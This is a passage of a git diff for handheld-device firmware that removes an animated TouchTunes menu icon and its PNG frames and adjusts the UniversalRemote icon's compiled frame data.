{0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t* const _A_UniversalRemote_14[] = {_A_UniversalRemote_14_0,_A_UniversalRemote_14_1,_A_UniversalRemote_14_2,_A_UniversalRemote_14_3,_A_UniversalRemote_14_4,_A_UniversalRemote_14_5,_A_UniversalRemote_14_6,_A_UniversalRemote_14_7,_A_UniversalRemote_14_8,_A_UniversalRemote_14_9,_A_UniversalRemote_14_10,_A_UniversalRemote_14_11,_A_UniversalRemote_14_12,_A_UniversalRemote_14_13,_A_UniversalRemote_14_14,_A_UniversalRemote_14_15,_A_UniversalRemote_14_16,_A_UniversalRemote_14_17,_A_UniversalRemote_14_18,_A_UniversalRemote_14_19,_A_UniversalRemote_14_20,_A_UniversalRemote_14_21,_A_UniversalRemote_14_22,_A_UniversalRemote_14_23,_A_UniversalRemote_14_24,_A_UniversalRemote_14_25,_A_UniversalRemote_14_26,_A_UniversalRemote_14_27,_A_UniversalRemote_14_28,_A_UniversalRemote_14_29}; const uint8_t _A_iButton_14_0[] = {0x00,0x00,0x1C,0x00,0x3E,0x00,0x35,0x80,0x3A,0x78,0x15,0x84,0x0A,0x32,0x05,0x49,0x02,0x85,0x02,0x85,0x02,0x49,0x02,0x32,0x01,0x84,0x00,0x78,0x00,}; const uint8_t _A_iButton_14_1[] = {0x00,0x00,0x00,0x00,0x38,0x00,0x26,0x80,0x21,0xE0,0x10,0x38,0x0D,0x6C,0x03,0x56,0x01,0x2B,0x01,0x97,0x00,0x4D,0x00,0x21,0x00,0x1E,0x00,0x00,0x00,}; @@ -832,9 +823,8 @@ const Icon A_Power_14 = {.width=14,.height=14,.frame_count=1,.frame_rate=3,.fram const Icon A_Settings_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Settings_14}; const Icon A_Sub1ghz_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Sub1ghz_14}; const Icon A_Tamagotchi_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Tamagotchi_14}; -const Icon A_TouchTunes_14 = {.width=14,.height=14,.frame_count=30,.frame_rate=3,.frames=_A_TouchTunes_14}; const Icon A_U2F_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_U2F_14}; -const Icon A_UniversalRemote_14 = {.width=14,.height=14,.frame_count=7,.frame_rate=3,.frames=_A_UniversalRemote_14}; +const Icon A_UniversalRemote_14 = {.width=14,.height=14,.frame_count=30,.frame_rate=3,.frames=_A_UniversalRemote_14}; const Icon A_iButton_14 = {.width=14,.height=14,.frame_count=7,.frame_rate=3,.frames=_A_iButton_14}; const Icon I_Detailed_chip_17x13 = {.width=17,.height=13,.frame_count=1,.frame_rate=0,.frames=_I_Detailed_chip_17x13}; const Icon I_Medium_chip_22x21 = {.width=22,.height=21,.frame_count=1,.frame_rate=0,.frames=_I_Medium_chip_22x21}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index c824d97fc..94de03f1b 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -109,7 +109,6 @@ extern const Icon A_Power_14; extern const Icon A_Settings_14; extern const Icon A_Sub1ghz_14; extern const Icon A_Tamagotchi_14; -extern const Icon A_TouchTunes_14; extern const Icon A_U2F_14; extern const Icon A_UniversalRemote_14; extern const Icon A_iButton_14; diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_00_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_00_delay-0.04s.png deleted file mode 100644 index d6c97146d818a4eb321bfdc31bb1e4823502294c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 470 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX>w~ag8WR&d<$F z%`0JW_jFSzN-fT;N=;G7&r`@KDJdwn($`O|O3zHw11i#oNIocd1q>1fRgl({#FA92 zCk1w@};-9yoko1c=IR*74K_qw1Ypaup{ LS3j3^P614Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_02_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_02_delay-0.04s.png deleted file mode 100644 index 479fbd58b591c8277f06ec1225ee29ee095c8564..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_03_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_03_delay-0.04s.png deleted file mode 100644 index 1ece97a6f2ea99c186f3abaf446df51e4131a8ed..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y*we)^gyXvDxs6^ zX1}o7BUm1N#M;7y%TXZdv!qIUvy78f{Net`#(VSiE#6u$DLTO$_B-0-X?9wz`5}MZ z;y*?G?|Frm&7SrxcUI*ZId-0TtCW?d-R|hKdAa7?@fa8(W#0Y8x0>0nz7I_fRzC=BH$)RpQp*y)GyTsDZ)L L)z4*}Q$iB}Q}~Lk diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_04_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_04_delay-0.04s.png deleted file mode 100644 index d85fa6ebca3cf45527524850e696081f1aadb738..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>N`%O z`W>G#!(83(tc_vbs!5w}xfq3Ityp_PqK$8tfy&~l_yb8%ORsc080_lbw%+>5?ej+} z_WW7lyr*9M`Gn^WZ5-dbl`}kUs(<6Cx9{TC?`A+ps+PD$l%ynG diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_05_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_05_delay-0.04s.png deleted file mode 100644 index 1f5ff11cbc23d74343a5b6a6ad1dc61b9d44f0e3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 397 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)zif>gyXtyzadw%0|SdY@A86qt*!O}0-w0Fop=2)T@w7q znTu0nlACX0X{Je1*Y2VjvC~TV9&BcgW17?8uG*Mi$S9s+F3D1qy*6}vaYx-g1GDTj z#b;`pU$k33S(sn2*1KU-+(FibVhygG!g^Y~yR>q)ce_hGKF7!F_y5`Pgo(*Ji)}YN z4Dk;%c_~tGhPD5$cZ0o+pMK_3ZMH(716500BT7;dOH!?pi&B9UgOP!ek*w=Pi8W=oX{an^LB{Ts5*Ts1t diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_06_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_06_delay-0.04s.png deleted file mode 100644 index 8fbf8625c14e9522cbcf2bbaf5a9c59a43c2ae08..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 400 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H!_&nvgyXtyzdm=f1B3hgjr%1Lpc_?7Tq814Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$J50zgyXvH`TeUM3mF_f_UqqW{Z8psp3jt|FX|ia>_0qz z#r6rVGw&x=Xm+}uI`Q^Yzj=(Lf4aroQ_|DbSLt5aFhhNZ-!Yb)PZnK|YCdm#Tliiz z=l_&#JG)PGw}~w&oahjAWaR>DTe$}XbIMq)ZpyxkT+Z`% zS7Lrh(npK`C)RECFP|`9syEoq;puLLqxM!Udb;y1?RtRjR4s9hC`m~yNwrEYN(E93 zMg~Skx(24Yh9)5frdGzrR;H%f1_o9@^!e326b-rgDVb@NxHWjM3rYfNVDNPHb6Mw< G&;$TK5sjVz diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_08_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_08_delay-0.04s.png deleted file mode 100644 index f3724bbde1a247fc66caf5a56bf8b2facbd30303..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 414 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y%+tj&gyXvISw+640GR_1=ljPMMcixK%siJl!}OJ>4P*F2 z3AWkF2HeKVjBbUOHy)gE)cmKkLEX#QoHw3}�D?c`#+yfep4kI+1-V7N$JPl8^fG z_t*08ZijC(i_}h%W|*vQyQ;6(o~dVFXZBMzUMYvmEbEMpugKUqZCghlo1mxmNu!lP zf`tvyq4hgV?xuC+9G@AR&dAzwID2CSucCqQ27ZQXQgz$DIQc)X5|swJShd78q9i4; zB-JXpC>2OC7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM`r(~v8;@053E+`48 Ofx*+&&t;ucLK6U|y@bmE diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_09_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_09_delay-0.04s.png deleted file mode 100644 index ff34450d944f74517bd986e51df5c6c683462183..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 427 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+0(@_gyXvISwpYG0SpWmrauwZaa-FVd!$3xs;sD3tKaWt|zHpXfhvfE;SNCUFZeA&Ec%_TRt6bt-1zFmJ+ z)RcX1gQK0omPAixH{#i)<&;glJzGZ z8kMb+TfP?PeAN=yh?11Vl2ohYqEsNoU}Ruqq-$WRYiJT;U}|M-Y-MVyZD3#pM4w;X eL(!0%pOTqYiCcsBx}YSW1_n=8KbLh*2~7Yaw3eL! diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_10_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_10_delay-0.04s.png deleted file mode 100644 index 2b61340cba323b443891bfc2d1a29d61f781c469..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 427 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+0(@_gyXvId3$cgLYan-&(FPo@kf1n&=j3b5jS$;Is@I_ zyJ^NX98Fkorb|UK=U?vef+@o5_O%(;ZF_!^C9j&{lw`nx4>ICg+!wySd~TWJO|ym$ z9~nWxbR8wDm>6M&k2f36ZTkL+;m(T;#|1`j*LWK~u*&~>xay*fYZJqgbIX>#I_h|- zpmB+5_H&bicdNJ;d|ZH#L1(v+uUO_QmvAUQh^kMk%5tsu7Rnpp-G5=sg<#@m8q$=fq@keeSUQh eMMG|WN@iLmZVle+f|7t57(8A5T-G@yGywp`fS8s5 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_11_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_11_delay-0.04s.png deleted file mode 100644 index 9420c763fffc590092d0d55b554f30feeceb6cd8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 426 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$*;`j_m2`=xLvC`eLVAarIT5gpD*Z)hk@=M~ldAUB-)a1K z_oN?}{N<^Feb1z;gADFOoz>kR?|=JPO4uFiKWn$XDHpEX?!fg*UACUj>mOqvyOZ9L zBT1D&*Q=JeMwFx^mZVxG7o`Fz1|tI_BV7YiT|<))15+zwV=GfrZ36=14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y-P6S}gyXvEIYaH1LK%h!&;P%F7w7uw(pRaJz)3n{_YXc2 zzQMEUw~^aZ<`Yw&uH#W-lhojBE;(BLuB&9?AD;I=a{RegS#P+su<`Ko$Qqq@*VjCI z?o_p2L21|Gj*dWcC8Om#dEc%~-t_Nl0ng)y&hd8d-|qEI__XQr?h~noCmiHNQoDXH zzIs-y?%cX<(}Q=&PF25AH8*m4Q}fc7Z{EKy+@5DsD>mJ1pSG#^tj@5_4qU6GdG}wl z`ok>r$H{H-rWJNTFQ}HdMwFx^mZVxG7o`Fz1|tI_BV7YiT|<))15+zwV=GfrZ36=< jAo~339*TzC{FKbJO57T}*99d3H86O(`njxgN@xNAcITV8 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_13_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_13_delay-0.04s.png deleted file mode 100644 index e9527fa833491eff3316cd410a901508344f1179..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 424 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$YVmxV$pEMJR$-=0RQDmEJEGEez`JuDH25=U{}d1EyNU3=Kf%IJ?Y|` z8Q3lcbiHbcYeY#(Vo9o1a#1RfVlXl=GSW3L)ipE;F)+0cptHiCrdtFcxPy>UftDnm{r-UW|_-&5! diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_18_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_18_delay-0.04s.png deleted file mode 100644 index 2109273f0538a073ab31357ea73ca5d6ef928442..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 418 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y%G1R$gyXvE*@a%ri3|)6-v8hDPlrb)T@IPZ3eYKokH`;F`Tf204uo4&4o)<4s-CmB5xGVNXGem-K)sAc8lE8^e}bhT=U zYeY#(Vo9o1a#1RfVlXl=GSW3L)ipE;F)+0cptHiCr TdtFcxPy>UftDnm{r-UW|SWb=} diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_19_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_19_delay-0.04s.png deleted file mode 100644 index 0c7e9eaa9acfc11c5ba98495c64feb772ce07b6b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 419 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+SA1`gyVYX`Hfsn4h#(s|MyKkFe^%?g-v|vx2(=%w-zmb zF|&#({=mX*3zjajJmSg1&Z>N(&H1I&9I5{=AB(fiS`@nF)J6x!i)fnra&uSOL-JSNBjf;M1& diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_20_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_20_delay-0.04s.png deleted file mode 100644 index 4c283af6cc3dd76ef888f62b770519219a2d79d2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 425 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y(bL5-gyXtypCLD6B7?*IxsN?wc6q!sk~os2$QBu)`>(0~ zLHXSxH#OCygu+0tSFgG^Y1E#oJy&q=SKIe30u>qx(^z>D%>0?x|6?dQFgZ;r(d&Ia z_ugCLcdePCPH1JQHGaSLV!>m*BfJmP#Pl|P%G`ANDdT^uGQC}ES?XIhZT;}TyM(P^jg7!02l4F2+--9u6g;Q}?C*+$5EIK(@i=1M}oG>y=+$ zUJ3;|UbVzEq9i4;B-JXpC>2OC7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM` ar(~v8;@053E+`48fx*+&&t;ucLK6UXX_27- diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_21_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_21_delay-0.04s.png deleted file mode 100644 index 750aec1627b2bcb3a822647a39c185312a4276f8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 415 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+|$J|gyXvIxs6;+0U`|#@1J&^(qYiFd#jb_Wc>>QzI#*k zFHABq`NGCq&d1WOAn;bLiQUh+*8hVm*A}K5JR1&tHDb2gtt)Y${l=||4-QKT;w>KB z%st@nK6ci!m7i@Tp4{kVNG=!QnR+I>p-NAbP27V)sOfNk*jXvTYrcU^uS%r9)LeUL zw$hF3YPRX5Jz>A^zf%0z>HPcI_EXNAW6Tu)ug^HDWX8O2x{C8O)?mIIpp#WgTq814Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H*VDx@gyXvIxxHD30vH-DKK8xB9Tc-g_6}=$yn_|%uRTue zFQrAo+w+vFrYigsQ8Bryc<%m(xz}XdrEUsX+U>9UQLE1p5xVhq?^Uj~*7w)v|986O zKYLeXdD5FT<{WRP3D3|eXAxU0^XX#Kfd|*xzU4Y3gykhhpW`_4Xw9lQ-8T&Srng)^ z9sKoi{=3CKXHWc?_3LkmtbHh7>9TWe6$~!5#&P9~w%i0dRJFu4q9i4;B-JXpC>2OC z7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM`r(~v8;@053E+`48fx*+&&t;uc GLK6TW7K_OM diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_23_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_23_delay-0.04s.png deleted file mode 100644 index 17007aad5b72394efd0dc44c1695aa84df0dbba8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 394 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$RT|6Y<(mnr^A%=$9Fa`m*%uN!`D-e>!} zB&zh{QtgRLxescKOyrM!rQKXPsvQH#I3=5T~HEG1B0ilpUXO@geCx6DTF`( diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_24_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_24_delay-0.04s.png deleted file mode 100644 index 4c03a8101928e3271e518ca78035200e788ad972..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>Nq6`gxmuO$_jb>;+NNMOnR8l6h2;5yokve>Wxd+das69i$e*y^XWk!`dFlSFXuI3z zwuWB@1~RWYr&~>Y<(+mtC-HU(OVCZna5bi<&p3|z&b)o^z=HX1%a@;LuRq;C{mkv3 zukRMu&vsj_!BW_o^yJpP#no%l{xExO(qWTKIK2kwNYxV8h?11Vl2ohYqEsNoU}Ruq zq-$WRYiJT;U}|M-Y-MVyZD3#pM4w;XL(!0%pOTqYiCcsBx}YSW1_n=8KbLh*2~7a5 C2#f>( diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_25_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_25_delay-0.04s.png deleted file mode 100644 index 334498adcefb0195df99757781c744a567450337..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>N54HEbeSUg?YOYrz7>ylu^-mseD<8D|KFNtYrh9~{>#rQTgEIC z-Z4?1tLv!3hBMJyK5csT)S&U?LnohUcOK45IkM%rcSPUqg}&TfTX+^w=Pi8W=oX{an^LB{Ts5 DS00MI diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_26_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_26_delay-0.04s.png deleted file mode 100644 index b203dc30275055bbe87d8475ad1ffff70af7a57e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 404 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$J50zgyXvIS;MSD2@DMvrzglTm1(G4RlVT5VRch;`v<+f z0s0AH=O1JVd&#z}n-=87@keWkv(dh%zZdnLW}lJX^WodqhW(GWKL7q^qwwE9uV&`Y zFVquE4&1io>7w)%(==ah;yUu?GH=c$Tf<6W1rtld*E#IFbM7uzyY8^VudT?`_UhM_ zE86lc>g3ksB|ZoiGV~L2k)2+yT&^$q|5>y?lk&ab2%tMvOI#yLQW8s2t&)pUffR$0 zfsv7}fvK*cNr-`|m9epvsj0SsffW#aesvE;LvDUbW?Cg~4c_a5l7Jc*JYD@<);T3K F0RT@yh=2e9 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_27_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_27_delay-0.04s.png deleted file mode 100644 index 3e17c6c76ba81c56c52edd21147e6b1d5e692607..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 410 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$kW9!gyXvIS;MSD2@(wt)mMHhe-*%S@Tf0G$y-*NCi4#h zdmG$ea&FpT&21%BBFdt;RK(GssYdqE51se3S>MWqurk-k-!G7?|N2LAZ~L3?{^u{| z^d$Gngx(0LmpaKffBJ@;=TDZL+`4$TUr_wL zY3<7_r`&%2eV=4r&9T2Hl~VV(HR@!P$Jx|~{9$%au$)14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_29_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_29_delay-0.04s.png deleted file mode 100644 index 479fbd58b591c8277f06ec1225ee29ee095c8564..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK 